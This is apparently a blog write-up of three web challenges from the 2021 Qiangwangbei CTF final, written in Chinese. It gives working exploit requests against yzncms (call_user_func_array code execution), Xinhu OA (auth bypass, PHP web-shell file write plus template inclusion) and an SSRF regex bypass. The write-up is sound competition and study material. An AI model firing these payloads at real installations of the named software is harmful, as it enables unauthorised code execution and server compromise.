强网杯2021final
2021-07-13 22:07:00
ctf - qwb
mDMZ
yzncms,之前沉迷挖cnvd的时候挖过这个cms,基于tp开发的,所以直接就往控制器里面看了,最后在collection/Node/parseFunction处找到了一个call_user_func_array,如图:
因为args是从varArray中取到的,按着tp的这种调用模式match跟content都是可控的,那么接下来就直接任意代码执行了:
然后就是执行命令:match=system&content=ls
OA
一个信呼的oa,搜一下能找到这一篇:
https://www.cnblogs.com/p00mj/p/11797819.html
个人觉得审计php写的框架首先的话是需要看懂框架中对于函数的调用方式,项目中webmain类似于tp应用中的app/application,因此着重看这里面的代码,然后就是看函数的调用方式,如文章中提到的登陆验证绕过的路径:
代码语言:javascript复制?m=mode&d=task&a=init&adminid=0&token=11
对应于调用到webmain/task/mode/modeAction.php中的initAction函数,而需要了解到action.php中还有一些函数以Ajax结尾,如xxxAjax,调用他们的方式类似的,只需加上一个参数ajaxbool=true
。
在webmain/main/flow/flowAction.php中找到了如下:
代码语言:javascript复制 public function pagesaveAjax()
{
$content = $this->post('content');
$num = $this->post('num');
$path = ''.P.'/flow/page/input_'.$num.'.html';
if(COMPANYNUM)$path = ''.P.'/flow/page/input_'.$num.'_'.COMPANYNUM.'.html';
$bo = $this->rock->createtxt($path, $content);
if(!$bo){
echo '无法写入文件:'.$path.'';
}else{
echo 'success';
}
}
可以写任意html,如:
代码语言:javascript复制http://localhost:9987/index.php?a=pagesave&m=flow&d=main&ajaxbool=true
post:
content=<?php system("ls");?>&num=a
会写到webmain/flow/page/input_a.html文件中,内容当然是content的值,接下来需要找一处文件包含的洞,在输错要调用的函数会发现:
代码语言:javascript复制index.php?a=c&m=b&d=a
//actionfile not exists;tpl_b_c.html not exists;
为了验证此处是否可进行文件包含,我写入了一个/../tpl_b_c,此时在page目录下新增了一个tpl_b_c.html,接下来是尝试去调用他,发现拼接后的路径是:
代码语言:javascript复制/var/www/html/webmain/flow/b/
那么也简单,写入一个num=/../tpl_page_c
,调用时则:
/index.php?a=c&m=page&d=flow
成功包含到了html文件,修改content执行任意代码。
rua
题目给了一个p.php跟一个file.php,p页面给的是phpinfo,file页面是一个file_get_contents参数可控的页面,直接访问/flag给出了一个docker,本地部署一下后可以获取到一些信息,如web,nginx的配置路径等。
因为flag不在本机上,因此先用file.php来扫描内网,扫到了172.19.0.3中存在了另一个file_get_contents,虽然参数可控但是需要发送post包,在/etc/nginx/conf.d/default.conf路径下找到了nginx的配置,其中给了一个/api,内容如下
用到它可以发送一个post包,但关键是如何绕过此处正则,根据配置文件的描述,假若我们传入:
代码语言:javascript复制api?url=http://www.baidu.com/
得到的domain是为www.baidu.com,那么比较有趣的点就是这个正则用的是S,那么剩下的一个字符就是空格了,那么将空格放到其内即可绕过这一个正则:
payload:
代码语言:javascript复制http://172.19.0.3:80 /index.php?//r3kapig.com/aaaa
post:
good_you_got_it_XD=/flag
本文原创于HhhM的博客,转载请标明出处。